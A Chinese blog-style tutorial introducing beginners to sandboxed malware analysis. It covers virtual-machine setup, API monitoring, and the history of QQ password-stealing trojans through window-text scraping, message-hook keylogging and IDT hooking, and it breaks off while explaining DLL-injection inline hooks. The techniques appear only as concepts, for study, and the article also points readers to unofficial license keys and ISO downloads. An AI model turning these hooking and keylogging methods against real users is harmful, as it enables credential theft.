当然,玩的人多了,花样品种就变的多了,程序猿们开发出了爬行者(Cerrper),侏儒(Dwarf),印普(Imp)…投入这场虚拟的战争中,这看起来有点像生化危机或者是终结者里的场景,爬行者每次运行都会复制自身,很快计算机中就全是密密麻麻的爬行者了,而侏儒重在破坏对手,它的理念是,干掉对手就是存活,最有特色的应该是印普这玩意,它只有一条指令,就是把自己的程序复制到下面一条,这样既能让自己不断复制,还有机会干掉对方。磁性大战显然在那个年代的计算机领域相当的流行,就连比尔盖茨也热衷于玩这款游戏,可惜的是,这款游戏的好玩程度似乎不足以让他留在大学,大二,“大学就是个没点屌用的地方”,比尔盖茨这样抱怨着,然后就退学了。不管怎么说,磁芯大战给了一群程序猿们足够的灵感,千千万万的程序猿为了在自己或者是别人的电脑上留下“到此一游”的印记而绞尽脑汁,那么,在计算机普及到民用的年代,他们的机会来了!。&/p&&p&&b&危险的潘多拉盒子&/b&&/p&&p&当然我不能在整篇文章就讲故事,否者我就该把这篇文章发表在“科幻天地”或者是“xxx的人物传记”了,很多人对计算机病毒抱有一种恐惧的心态,我喜欢把它比喻成潘多拉盒子,尽管它外表精巧,盒子的制作者也总是想方设法让你去打开它,但假如你不去打开这个盒子,潘多拉盒子和你家里的饼干盒并没有什么不同,(当然假如你不小心打开了它,而又不了解它,那你只能听天由命了,正所谓不作死就不会死),计算机病毒也一样,归根结底它也是计算机程序,没有运行的话,它也只是存储在你电脑上的一堆数据,排除掉一些操作系统的设计缺陷外(例如以前lnk文件解析中缺乏对路径长度的检查而造成的溢出,当然现在存在这些问题的可能性几乎没有了),他最多占据你一些小小的磁盘空间,当然为了保险起见避免某天手抖运行了它,最保险的应该是把他从你的磁盘中也删了。&/p&&p&当然大部分对计算机并不感冒的人总是希望多一事不如少一事,所以他们巴不得不再有人去设计病毒程序,就算设计了病毒程序也别影响到自己的电脑上,正所谓如果有人让你挑个地方长痔疮,大多人都会挑长在别人身上,但是一些狂热的计算机爱好者或者是恶意程序分析师都喜欢收集大批的计算机病毒,在他们看来,这些木马病毒就像是设计精巧的宝箱一样,在一个可控的环境中窥探它们,总是能获取到更多的知识与技巧,这说起来有点像魔窟探险,尽管里面拥有各种各样的妖魔鬼怪甚至处理不当能让你的电脑领便当,但是当它们最终分析出当中的逻辑与技巧,这感觉就是像征服了恶龙的勇士一样,带着荣耀打开潜藏在宝库中的宝箱。&/p&&p&我想这也就是本篇文章最终行文的目的,我希望有更多的人能够用更加简单的方式享受到这种乐趣。为此,我逛遍了各大大小小所谓的“hacker”群(大多是中二病),在各类网盘和网站中下载了一堆似乎是老司机留下的福利。当然经过筛选,我将选出一些比较有代表性的恶意程序甚至是自己编写一些恶意程序作为分析样本。在阅读完全文后,我希望及是是一些刚进门不就的新手,不懂od,不懂x86,不懂编程,同样也能够使用给出的工具享受这种乐趣。&/p&&p&当然,接下来的内容就可能让一些非计算机相关人士感受到不适,那么我做了一些折中的选择,假如你喜欢看我讲故事而不希望了解当中的技术细节那么你可以挑选那些你感兴趣的东西看,这并不影响你对全文的阅读体验。如果你希望了解更多的相关细节,你可能需要通过MSDN Google baidu甚至是stackover flow,github(俗称gayhub,世界上最大的同性交友网站)来获取更多的相关知识。 我将会在文中标注出内容的深度,(*)表示这是一个老少咸宜的内容,你不需要什么基础就能够轻松读懂,(**)可能表示你需要基本的计算机知识与基础的编程技巧,(***)表示以下的内容可能会更深一步,需要你在相关的领域有更深入的了解。当然在这个难度阶级以上,即时你不阅读,也不影响你理解全文。(*x)则表示,这是需要查阅相关文档例如User Manual,DataSheet,即时是我本人也是在相关文档的帮助下行文,如果你希望打破砂锅问到底的话,你可以查阅之后标注出来的reference documents。&/p&&p&当然如果你是十几年的码神老妖怪或者是常年混迹在52pojie甚至China UNIX的远古飙车老司机,你就可以想方设法在文中找找茬了,本人即非圣贤也非全才,文中疏漏,仍望各位指正。&/p&&p&&br&&/p&&p&&b&来说说应用程序编程接口&/b&&/p&&p&在码农界广泛流传着一个黄段子,说的是两只程序猿去海边钓鱼,其中一个程序猿居然钓上来了一只美人鱼,这个美人鱼,上半身是人,下半身是鱼,于是这个程序猿就把它给放了,另一个程序猿问:Why?,答:没有API。&/p&&p&这是个略带点专业性质的笑话,当中所说到的API(Application Programming Interface)也就是我们中文所说的应用程序编程接口,当然专业人士看到自然蛤蛤大笑起来,老司机自然也能够领会当中的一二。&/p&&p&那么到底什么是API呢,打个比方就像微波炉,你需要加热食物,你只需要把食物放进微波炉然后告诉微波炉加热多少时间然后摁下启动键就可以了,至于到底微波炉的工作原理是什么,如何防止辐射,需要耗多少电,你一概不需要知道。API就像这个微波炉一样,你只需要给出你的加热时间(参数),你就能得到你想要的热腾腾的食物(结果)&/p&&p&当然上述这个比方并不是那么的准确,我更喜欢使用数学公式来表达这个API,假设我们现在回到了初中,继续来学习那个求圆的面积公式&/p&&figure&&img data-rawheight=&140& src=&/v2-6c223ec4cbf74c837ec6_b.jpg& data-size=&normal& data-rawwidth=&331& class=&content_image& width=&331&&&figcaption&图(1.1)&/figcaption&&/figure&&p&没错,就是这玩意(图1.1),S等于PI-R的平方,也就是PI乘以面积,当然这个方程我们往往这么来写&/p&&figure&&img data-rawheight=&161& src=&/v2-20df64e444fa1f426fdde6b779f270c4_b.jpg& data-size=&normal& data-rawwidth=&560& class=&origin_image zh-lightbox-thumb& width=&560& data-original=&/v2-20df64e444fa1f426fdde6b779f270c4_r.jpg&&&figcaption&图(1.2)&/figcaption&&/figure&&p&是的,我们把圆的面积公式定义为f(r),这个函数接收一个参数r也就是圆的半径,现在不如让我们假设这个求圆面积公式是个机密,我们不想让别人知道,圆的面积是怎么求的,这样我们就可以开个公司叫《专业求圆面积有限公司》,我们只告诉外界我们有一个叫f(r)的函数,就是你只需把这个圆的半径告诉我们,我们就可以把圆的面积告诉给你,不要998现价求一次只要188,这样客户蜂拥而至,给出我们f(1),f(2),f(3),我们马上给出答案,面积分别约是3.14,6.28,9.42&/p&&p&当然,最准确的说法应该是用C语言了&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&float __stdcall getAreaofCircle(float r)
Return 3.14f*r*r;
&/code&&/pre&&/div&&figure&&img data-rawheight=&1052& src=&/v2-ce60604d4dde8aebdc5f24b_b.jpg& data-size=&normal& data-rawwidth=&861& class=&origin_image zh-lightbox-thumb& width=&861& data-original=&/v2-ce60604d4dde8aebdc5f24b_r.jpg&&&/figure&&p&&br&&/p&&figure&&img data-rawheight=&346& src=&/v2-17ed60eb92d627549ebd_b.jpg& data-size=&normal& data-rawwidth=&554& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&/v2-17ed60eb92d627549ebd_r.jpg&&&/figure&&p&&br&&/p&&p&倘若我们使用C语言写出来,那么大致会是这个样子(附件A01.zip):&/p&&figure&&img data-rawheight=&296& src=&/v2-b31be9f724443deeab8d46_b.jpg& data-size=&normal& data-rawwidth=&454& class=&origin_image zh-lightbox-thumb& width=&454& data-original=&/v2-b31be9f724443deeab8d46_r.jpg&&&/figure&&p&&br&&/p&&p&无需怀疑,它一定是调用了User32.dll中的MessageBoxA(当然也有MessageBoxW,unicode版本的API,不深入讨论)。
那么现在有个问题,既然有那么多的API函数,我应该如何找到我想要的API函数呢,比如创建文件,我该哪里找,当然,本文主要讨论的都是windows系统下的相关知识,因为,window民用的PC端用户群庞大,因此xp年代个人电脑十有八九都是毒窝,幸好windows的开发商Microsoft除了坑钱外技术文档也是做得相当不错的,你可以在MSDN上,找到绝大部分开放的API函数。在这里,我列举一些在木马病毒中经常看得到的API函数
扩展阅读,当我们使用计算机觉得它很简单时,往往都是无数的大犇前辈不懈的努力让它看起来觉得很简单,我们调用一个API,在屏幕上显示一个窗口,播放一段音乐,显示一张图片,我们觉得理所当然,并且洋洋自得“这个程序是我写的”,假设我们没有这些API,我们该怎么办,我们还能够理所当然的哪怕创建出一个TXT文件么?
遗憾的是这个问题马上会上升到文件系统甚至是物理层面的电流脉冲上来,例如我们希望使用STM32系列ARM芯片去读取SD卡的文本文件,我们很可能就需要熟悉SPI或者是SDIO协议,然后在此基础上实现FAT32文件系统,要做到功能与性能的实现并不轻松。
还好,制作操作系统的程序猿们把这些底层的操作封装到了“硬件抽象层”(HAL)之外,从而让我们这些用户层的程序猿,能够把注意力放在如何读取文件写文件上来,而不是关心我们的文件系统是NTFS,YAFFS,FAT还是我们的数据会写在硬盘上还是SD卡上。&/p&&p&&br&&/p&&blockquote&&b&工欲善其事必先利其器&/b& &/blockquote&&p&如果说起恶意程序逆向分析,不管是熟悉的还是不熟悉的,总是喜欢把调试器打开并加载,在一堆CALL中越跟越深,新手往往就迷失在这无穷无尽的汇编代码中,一些稍微有些反逆向基础的代码编写者,假如不打算使用一些壳技术来保护自己代码的话,在代码中检查调试器,并且在恰当的地方设定一些暗桩,甚至自己编写脚本解析引擎(Scripts Virtual Machine)总是能给逆向分析者制造或多或少的一堆麻烦,但是更多的时候,作为分析者的我们也在思考,真的有必要这么做么,不管我们使用ollydbg这类的动态调试器,还是IDA这类静态调试器,甚至使用windbg调试ring0(内核)程序,我们分析代码的目的,绝大部分时候是希望获得这个程序到底做了什么功能,而不是这个程序怎么实现了这个功能,因此从准备写这篇文章开始,我就决定,这篇文章中,要做到No OllyDbg,No IDA,No debugger,把我们的注意力,放在如何知道这个程序做了什么,而不是洋洋洒洒的对x86汇编和各种调试器调试技术侃侃而谈。
幸运的是,随着时代的发展,用计算机写程序的门槛变得越来越低了,从最初的在卡片上打孔机到后来的386,直到今天甚至我们说某些方面的性能过剩,强大的计算机性能为一些更为简单的语言语法打下了基础,我们更加关心如何实现这个功能,而不是这个功能会花掉我们多少的内存和多少的CPU执行周期(空间复杂度,时间复杂度),以至于诞生了Java,python,ruby….这一类更加关注开发效率更加“内存管理安全”类的语言,甚至有投机者专门为那些不学英文的开发者开发了“易语言”这类的伪编程语言,(在从前的《程序猿鄙视链》一直出于鄙视链低端的HTML或是BASIC终于也因此找到了优越感),于是不管是刚学完一元二次函数的初中生或者是英语不及格根本不知道内存为何物的中二病也加入到了这个编程的大军中,但他们中的大部分,大多处于荷尔蒙与肾上腺素蓬勃生产的阶段,他们总更喜欢破坏多于创造,喜欢给别人制造点麻烦,而不是给他人点方便。于是在这个时期,各类锁机,木马,钓鱼程序便孕育而生,同时恶意程序的逻辑往往也变得更加的单纯与易于分析,当然,这就给我了写这篇文章的机会,我也能愉快的借此机会好好地吹吹牛逼。
那么,最快速分析恶意程序的手段是什么,显然的,直接运行恶意程序,观察它会对我们电脑造成什么影响是最直观的,当然这种风险也是最直观的,比较善良的也许只是弹弹窗霸占你的屏幕,腹黑的也许会偷偷打开你的摄像头监视你的键盘,或者偷取你的一些文件,甚至加密你的文件并且告诉你想要解开你必须支付一笔钱财。更狠的会格式化你的磁盘,甚至在早期的计算机中可能烧毁硬件(例如大名鼎鼎的CIH是如何一步一步蚕食你的硬盘的),这个直接运行显然不是那么保险,但幸好随着虚拟化技术的发展我们有了虚拟机,当我们把恶意程序放在虚拟机中运行,无论它怎么兴风作浪,当我们把虚拟机关掉,它无法对我们的宿主机造成任何的影响(当然也存在虚拟机逃逸的范例,但这往往是高度硬件相关的,如果有人为了整蛊你而特意做了这样一个程序,你该感到荣幸),所以,请允许我在接下来一个小小的篇幅中,介绍如何安装并使用虚拟机。&/p&&p&(1)下载虚拟机安装程序:你可以在这个网页中下载到虚拟机的安装程序&/p&&p&&a href=&/?target=https%3A///s/1i5HOx73& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&/s/1i5HOx7&/span&&span class=&invisible&&3&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&&/p&&p&然后你可以去百度一个注册码,或者上某宝购买一个。&/p&&p&(2)同时你需要一个Windows的镜像文件,你可以在msdn tellyou网站中找到,也可以复制下面的地址下载一个&/p&&p&&u&&a href=&/?target=ed2k%3A//%257Cfile%257Ccn_windows_7_ultimate_x64_dvd_x15-66043.iso%257C%257C7DD7FA757CE6D2DB78B7A%257C/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&cn_windows_7_ultimate_x64_dvd_x15-66043.iso (3.11 GB)&i class=&icon-external&&&/i&&/a&&/u&&/p&&p&&br&&/p&&p&(3)虚拟机下载完成后,解压安装就行了,如果你不清楚,直接点击下一步完成安装。&/p&&p&(4)那么最关键的是,是如何在虚拟机中安装windows,我们打开虚拟机,并选择创建新的虚拟机:&/p&&figure&&img data-rawheight=&365& src=&/v2-ff4b24af4a7bab3d11e9bc32d78ffadb_b.jpg& data-size=&normal& data-rawwidth=&618& class=&origin_image zh-lightbox-thumb& width=&618& data-original=&/v2-ff4b24af4a7bab3d11e9bc32d78ffadb_r.jpg&&&/figure&&p&(5)点击下一步&/p&&figure&&img data-rawheight=&490& src=&/v2-9b4ea50cc058d74eb4d8acb9b2884bab_b.jpg& data-size=&normal& data-rawwidth=&503& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&/v2-9b4ea50cc058d74eb4d8acb9b2884bab_r.jpg&&&/figure&&p&(6)选择安装程序光盘映像文件,然后把我们下载下的windows映像iso文件选上&/p&&figure&&img data-rawheight=&490& src=&/v2-e62a004ed26cf4bd25894d_b.jpg& data-size=&normal& data-rawwidth=&503& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&/v2-e62a004ed26cf4bd25894d_r.jpg&&&/figure&&p&&br&&/p&&p&(7)下一步,弹窗告诉我们需要密钥,我们选是就行了&/p&&figure&&img data-rawheight=&490& src=&/v2-5eeb51c592bc4635dd47e_b.jpg& data-size=&normal& data-rawwidth=&503& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&/v2-5eeb51c592bc4635dd47e_r.jpg&&&/figure&&p&&br&&/p&&p&(8)选择虚拟机的安装路径,我建议选择一个容量较大的磁盘&/p&&figure&&img data-rawheight=&490& src=&/v2-a2ed8a9e1d029c_b.jpg& data-size=&normal& data-rawwidth=&503& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&/v2-a2ed8a9e1d029c_r.jpg&&&/figure&&p&&br&&/p&&p&(9)只是做分析的话,20GB够了&/p&&figure&&img data-rawheight=&490& src=&/v2-207fcefb094bfa637b13f_b.jpg& data-size=&normal& data-rawwidth=&503& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&/v2-207fcefb094bfa637b13f_r.jpg&&&/figure&&p&&br&&/p&&p&(10)点击完成,剩下就是安装windows了&/p&&figure&&img data-rawheight=&490& src=&/v2-cde6c41ef00c_b.jpg& data-size=&normal& data-rawwidth=&503& class=&origin_image zh-lightbox-thumb& width=&503& data-original=&/v2-cde6c41ef00c_r.jpg&&&/figure&&p&(11)安装完成后点击“开启此虚拟机”,就可以打开这个虚拟机了&/p&&figure&&img data-rawheight=&194& src=&/v2-db2e3abfd385a8c80d99e5af4501787f_b.jpg& data-size=&normal& data-rawwidth=&375& class=&content_image& width=&375&&&/figure&&p&(12)如图所示&/p&&figure&&img data-rawheight=&486& src=&/v2-933ddb6964c3_b.jpg& data-size=&normal& data-rawwidth=&678& class=&origin_image zh-lightbox-thumb& width=&678& data-original=&/v2-933ddb6964c3_r.jpg&&&/figure&&p&&br&&/p&&p&(13)在安装完虚拟机后,拍摄快照,以便于在调试分析后恢复虚拟机的状态&/p&&figure&&img data-rawheight=&297& src=&/v2-34208eb67eeb15abef799ae6_b.jpg& data-size=&normal& data-rawwidth=&658& class=&origin_image zh-lightbox-thumb& width=&658& data-original=&/v2-34208eb67eeb15abef799ae6_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&b&正确地作死&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&在我们找到一个恶意程序之前,在虚拟机中安装VMTools,这样我们就可以直接将宿主机中的恶意程序拷贝到我们的虚拟机当中,在这里我已经安装好了VMTools,如果你没用安装这个工具,在这里应该会有一个提示你安装的菜单。如图&/p&&figure&&img data-rawheight=&295& src=&/v2-fd50acdc47abf7de8a6a9e_b.jpg& data-size=&normal& data-rawwidth=&355& class=&content_image& width=&355&&&/figure&&p&&br&&/p&&p&接下来,我们拷贝一个恶意程序到我们的虚拟机当中,并尝试运行它,在这里,我拷贝了一个锁机程序,当然,为了让这个程序更好的破坏我们的虚拟机,我们还需要以管理员身份去执行这个程序,很快,虚拟机就黑屏重启了,同时成功锁死了我们的虚拟机。&/p&&figure&&img data-rawheight=&115& src=&/v2-7c621e07e4b92ceeae7035_b.jpg& data-size=&normal& data-rawwidth=&264& class=&content_image& width=&264&&&/figure&&p&&br&&/p&&p&&br&&/p&&figure&&img data-rawheight=&520& src=&/v2-bf9ef04d3aac3c1bada7e798e57035bd_b.jpg& data-size=&normal& data-rawwidth=&930& class=&origin_image zh-lightbox-thumb& width=&930& data-original=&/v2-bf9ef04d3aac3c1bada7e798e57035bd_r.jpg&&&/figure&&p&&br&&/p&&p&这样,假设我们不知道这个程序是否是恶意程序的话,在虚拟机中运行这个程序,常常就能让它原形毕露,从而避免恶意程序直接对我们的宿主机造成伤害。而恢复我们的虚拟机方法也非常简便,我们只需要将快照恢复到初始状态就可以了。&/p&&figure&&img data-rawheight=&292& src=&/v2-a1fd5b8b67ade410b82e68a8d8ac6640_b.jpg& data-size=&normal& data-rawwidth=&664& class=&origin_image zh-lightbox-thumb& width=&664& data-original=&/v2-a1fd5b8b67ade410b82e68a8d8ac6640_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&被劫持的应用程序接口&/b&&/blockquote&&p&&br&&/p&&p&说到劫持(hijack)当然这里要说的不是劫机这种大买卖,这里说的劫持,归结起来有点像碟中谍中私下偷偷摸摸的信息传递,或者说非常像狸猫换太子。实际上在历史上人类总是热衷于这种勾当,打个恰当的比方,你希望给你朋友写一封信,信件中说你想要向朋友李四要一部《比利海灵顿的哲学》作为业余的人体艺术鉴赏课程,这个信件是张三帮你传递的,正常情况下,张三会帮你把这个信件交到李四手上,但是某天有个王五,他希望在你身上搞些坏主意,他知道你经常给李四写信,所以某一天,在你交给张三一份信后,他就可以实施他的计划了&/p&&p&&br&&/p&&p&在张三的水里下蒙汗药,或者把张三灌醉,然后在张三神魂颠倒的时候,偷偷拆开信件。他可以看了内容,再原封不动的把信件放回去,也可以把《比利海灵顿的哲学》换成《苍老师作品集》,甚至他可以撕毁信件然后给张三一棍子。&/p&&p&&br&&/p&&p&不论怎么样,王五通过这个手法,知道了你是一个基佬,而李四到底能收到什么信件,甚至根本收不收的到信件,已经不再是你能决定的了。在信件投递出来的那一个,你对信件到底怎么到李四手上的过程一无所知。&/p&&p&&br&&/p&&p&&br&&/p&&p&我打这个比方,是想说明他和我们计算机当中的Hijack非常的相像,程序也是数据,在执行期间,它们大多情况下也会被加载到内存当中,我们只要在内存中篡改这个程序,让他在执行功能之前,先向我们汇报一下,我们就能决定,这个功能到底执行不执行,甚至篡改它执行。&/p&&p&&br&&/p&&p&&br&&/p&&p&现在回到我们之前所说的应用程序接口这个知识点上来,在windows的开发过程中,我们很多情况下,也是通过使用这些用程序编程接口(API)来完成大多数的功能,之前说过了,API说到底,也是被加载进内存的程序,我们只需要监视这些API,就能够知道,这个程序到底在执行过程中做了哪些小动作&/p&&p&&br&&/p&&p&&br&&/p&&p&比如在哪创建了文件,打开访问了哪些文件,动了哪些注册表,使用网络向哪些IP地址发送了哪些数据,是的,通过劫持技术,我们都能知道。&/p&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&Hook与QQ密码的战争&/b& &/blockquote&&p&&br&&/p&&p&WARNING本章节可能引起新手朋友的不适,请选择性阅读&/p&&p&&br&&/p&&p&钩子技术(Hook)的年代久远,这是一个重要实用而且被玩烂了的技术,当然现在说到Hook技术,经常会扯到一些旁门左道上,但Hook技术确确实实是windows最为重要的一环,从内核(ring0)层面上的过滤驱动程序(Filter Driver)到用户层面(ring3)上的输入法,热补丁…无不与Hook技术息息相关,Hook不仅仅是某种特定的代码或功能呢,它更像是一种截获信息的统称,没有Hook,那么输入法,杀毒软件,都不会存在。&/p&&p&&br&&/p&&p&&br&&/p&&p&在深入介绍HOOK技术时,我想先说一个非常有趣的对抗故事,它说的是一个关于截获QQ密码与对抗的故事。&/p&&figure&&img data-rawheight=&128& src=&/v2-e6dd3fc036b9fd0b14aec_b.jpg& data-size=&normal& data-rawwidth=&240& class=&content_image& width=&240&&&/figure&&p&&br&&/p&&p&在2000年左右,在那个还没有360全家桶和腾讯全家桶的win98年代,QQ大概就像上面这个样子那么单纯可爱,当时,密码保护机制不是那么的完善,而Windows driver model(WDM)也在众多猴子的千呼万唤之下刚刚发布,因此更不用谈ring0层的保护了。&/p&&p&&br&&/p&&p&&br&&/p&&p&当然你在用户口令上输入密码,显示的仍然是*字,但是我们只需要用点小工具,很容易就能够把密码给弄出来了,没错,这玩意大家都很熟悉,它叫spy++,翻译过来也是间谍的意思,实际上它不是某个hacker大佬开发出来的,他就是微软为它VC++6.0这个IDE发布的一个工具,即使是在今天,你仍然可以在visual studio里发现它的身影。&/p&&figure&&img data-rawheight=&269& src=&/v2-065d62c9ab4f0b721a1c_b.jpg& data-size=&normal& data-rawwidth=&238& class=&content_image& width=&238&&&/figure&&p&&br&&/p&&p&这款工具的使用非常简单,你只需要打开它&/p&&figure&&img data-rawheight=&745& src=&/v2-21c77e8ebacfc3c3a7ce095_b.jpg& data-size=&normal& data-rawwidth=&1252& class=&origin_image zh-lightbox-thumb& width=&1252& data-original=&/v2-21c77e8ebacfc3c3a7ce095_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&然后把“查找程序工具”右边的十字移动到你需要监视的窗口上就可以了。这里我选择一个记事本为例&/p&&figure&&img data-rawheight=&502& src=&/v2-62ed34ae375ac742ca2087c_b.jpg& data-size=&normal& data-rawwidth=&648& class=&origin_image zh-lightbox-thumb& width=&648& data-original=&/v2-62ed34ae375ac742ca2087c_r.jpg&&&/figure&&p&&br&&/p&&p&可以看到,SPY++成功获取到了记事本上的文本。&/p&&p&&br&&/p&&p&&br&&/p&&p&实际上这个过程调用了一个API函数,叫GetWindowText(A/W)意思就是取得窗口的文本,实际上windows里的窗口都有一个句柄,当中的文本框,标签框甚至是按钮,都拥有自己的句柄,这个函数的原型大概是这个样子&/p&&p&&br&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&int WINAPI GetWindowText(_In_ HWND hWnd,_Out_ LPTSTR lpString,_In_ int nMaxCount);
&/code&&/pre&&/div&&p&&br&&/p&&p&这个函数就能通过句柄来获取这个窗口的文本,那么问题来了,这个问题同样出现在了QQ上,你只需要把这个十字箭头移动到QQ上,SPY++显示的文本将会是密码的明文,当然,有人输完QQ的密码然后离开电脑,黑客再偷偷跑到他电脑上打开spy++再获取明文密码这种情况比较少,但是,要是不怀好意之人,在电脑上偷偷安装一个程序,不断使用GetWindowText去获取qq对话框上的账号密码上的文本,然后再使用smtp之类的方式把qq账号密码发送到自己邮箱的话,结果就不一样了,实际上,在最早期的时候,大部分qq的盗号木马都采用了这种方式。不过幸运的是,这种办法到了windows2000就彻底实效了。&/p&&p&&br&&/p&&p&&br&&/p&&p&不过这并不影响盗号者和盗号木马作者们的热情,我们继续回到SPY++,仍然把十字箭头放到记事本上,同时在上面的消息菜单上,把键盘消息打个√,然后点击确定:&/p&&figure&&img data-rawheight=&357& src=&/v2-a90a3d3c3a522a87f54d44a_b.jpg& data-size=&normal& data-rawwidth=&720& class=&origin_image zh-lightbox-thumb& width=&720& data-original=&/v2-a90a3d3c3a522a87f54d44a_r.jpg&&&/figure&&p&&br&&/p&&p&然后我们回到记事本,按下回车然后输入文本“123”&/p&&figure&&img data-rawheight=&179& src=&/v2-f0883a64acd4c64fd80d326b0d788dfd_b.jpg& data-size=&normal& data-rawwidth=&299& class=&content_image& width=&299&&&/figure&&p&&br&&/p&&p&切换回SPY++,然后你发现了什么&/p&&figure&&img data-rawheight=&361& src=&/v2-2ac4d9bb1b5006d7ebebd7_b.jpg& data-size=&normal& data-rawwidth=&721& class=&origin_image zh-lightbox-thumb& width=&721& data-original=&/v2-2ac4d9bb1b5006d7ebebd7_r.jpg&&&/figure&&p&&br&&/p&&p&没错,SPY++截获了我们在记事本上输入的信息,可以看到从WM_KEYDOWN上,SPY++告诉了我们:&/p&&p&我们按下了一个回车(VK_RETURN),1(VK_NUMPAD1),2(VK_NUMPAD2),3(VK_NUMPAD3)&/p&&p&所有的按键记录都被记录了下来,实际上,其他的窗口也是类似的情况,Windows拥有一套我们称之为“消息循环”的管理机制,当我们使用键盘按下一个按键之后,它最终会转换为消息,分派到活动的窗口上,在这里,我们监视了两个消息,一个是WM_CHAR,一个是WM_KEYDOWN,显然,通过对这个消息循环的hook,我们很容易就截获到了键盘输入。这样,我们就能在密码到达密码框之前截获密码的明文。那么,一个新的盗号木马制作方案诞生了,实际上到今天为止,绝大部分的远控的键盘记录功能和少部分的盗号木马仍然使用这种原始的消息Hook方案来窃取用户的键盘输入,并企图在当中截获密码。&/p&&p&&br&&/p&&p&&br&&/p&&p&终于,在QQ账号开始变得值钱之后,企鹅开始重视起盗号木马猖獗的这个问题,他们终于把这个键盘记录的战争上升到了内核层面上来,大约在05年的时候,企鹅向棒子购买了驱动层(ring0)的保护,驱动层比windows消息更加的底层,但因为需要安装驱动程序,并且这个驱动程序做的相当的底层直到中断层(0x93中断服务),结果导致了一堆兼容性问题,但是,它确实也干掉了绝大多部分的盗号木马,一时间,qq的密码不再变得那么唾手可得了。&/p&&p&&br&&/p&&p&&br&&/p&&p&但是道高一尺,魔高一丈,如果玩过51兼容芯片或者ARM写裸机程序的朋友应该很清楚,芯片都有中断,当触发一个硬件中断时(例如一个上升沿脉冲中断),CPU将会跳转到中断代码,而中断代码的跳转地址,是一个表来维护的。我们管这玩意叫中断描述符表(IDT),在IOAIPC出现以后,我们就可以修改这个中断对应的关系,这就是说我们只需要修改IDT中的跳转地址,我们就能比棒子的驱动更先一步hook到键盘的输入数据从而截获密码。&/p&&p&&br&&/p&&p&&br&&/p&&p&这个谁走的更加底层,谁先Hook到键盘数据的战争一直持续着,直到windows7以后,微软再也看不下去了,于是他规定想进内核,必须提供数字证书(不仅不便宜而且需要审核资质)。&/p&&p&&br&&/p&&p&&br&&/p&&p&于是,盗号者的目光变成了如何做一些比较有诱惑性的钓鱼界面,来骗取用户输入而盗取qq密码了,这个即原始又没啥技术含量但运气好时确实也有效的手段,一直沿用到了今天。&/p&&p&(更多细节请参考:《寒江独钓windows内核安全编程》)&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&blockquote&&b&DLL注入与Hook&/b&&/blockquote&&p&&br&&/p&&p&&br&&/p&&p&WARNING本章节可能引起新手朋友的不适,请选择性阅读&/p&&p&&br&&/p&&p&显然,为了行为监视,作为一个学生狗花个5k块去买数字证书是划不来的,何况目前微软的代码数字签名并不出售给个人用户。&/p&&p&&br&&/p&&p&&br&&/p&&p&不过即便如此,我们仍然有非常多的工具可供选择,例如现在非常流行的在线分析系统火眼和哈勃&/p&&figure&&img data-rawheight=&475& src=&/v2-3f3f155058afbf65a56c16b6fb1c1eca_b.jpg& data-size=&normal& data-rawwidth=&765& class=&origin_image zh-lightbox-thumb& width=&765& data-original=&/v2-3f3f155058afbf65a56c16b6fb1c1eca_r.jpg&&&/figure&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&上图就是火眼在线分析系统的结果,在线分析拥有其非常多的优势,操作简单报告也通俗易懂,然而,其弊端也非常的明显,它的分析与被分析的程序无法进行任何的交互,所以它的分析报告常常无法那么全面。&/p&&p&&br&&/p&&p&&br&&/p&&p&当然PC端我们还有PCHunter,这款软件的前身是Xuetr,是由52老司机linxer开发完成的,当时就备受好评,即使是现在,PCHunter也作为各种老司机必备神器,当小白仍然安装着各种全家桶,开机时弹窗着各种屠龙宝刀点击就送,一刀9999,范伟打天下时,老司机早就使用PCHunter来监视自己电脑上不正常的一举一动了。&/p&&figure&&img data-rawheight=&578& src=&/v2-5f818c7b51a5ebfa53fe1a47ed8cd093_b.jpg& data-size=&normal& data-rawwidth=&904& class=&origin_image zh-lightbox-thumb& width=&904& data-original=&/v2-5f818c7b51a5ebfa53fe1a47ed8cd093_r.jpg&&&/figure&&p&&br&&/p&&p&但即便是我们做不到PCHunter一样搞到数字证书,进而修改SSDT搞搞ring0层面的hook,我们仍然可以在ring3层面上,将API Hook玩的风生水起&/p&&p&&br&&/p&&p&&br&&/p&&p&这里我们主要讨论的是,如何加载DLL来完成这个Hook过程,DLL一向用于程序的拓展与补丁,它仿佛就是为了插入代码而准备的,当然本篇文章并不准备讨论直接插入二进制代码来完成这个Hook过程,这样会导致一系列问题需要处理,如果你有兴趣,你可以阅读《Windows PE权威指南》《windows 核心编程》这两本书,里面有对这个技术的详细介绍。&/p&&p&&br&&/p&&p&&br&&/p&&p&在这里,我希望用下面几张图来表示DLL注入到Hook是如何完成的
&/p&&p&&br&&/p&&p&1、首先这是原始程序&/p&&figure&&img data-rawheight=&461& src=&/v2-ba29aa6269d61dfea6746d_b.jpg& data-size=&normal& data-rawwidth=&479& class=&origin_image zh-lightbox-thumb& width=&479& data-original=&/v2-ba29aa6269d61dfea6746d_r.jpg&&&/figure&&p&&br&&/p&&p&2、然后我们在程序中加载DLL&/p&&figure&&img data-rawheight=&644& src=&/v2-4a54fe5fe4_b.jpg& data-size=&normal& data-rawwidth=&480& class=&origin_image zh-lightbox-thumb& width=&480& data-original=&/v2-4a54fe5fe4_r.jpg&&&/figure&&p&&br&&/p&&p&3、修改的代码,在头部修改为类似于mov eax,xxxx jmp eax之类的跳转代码使他能够跳转到我们的DLL函数中,并保留原始代码&/p&&figure&&img data-rawheight=&633& src=&/v2-8f5bfc79a_b.jpg& data-size=&normal& 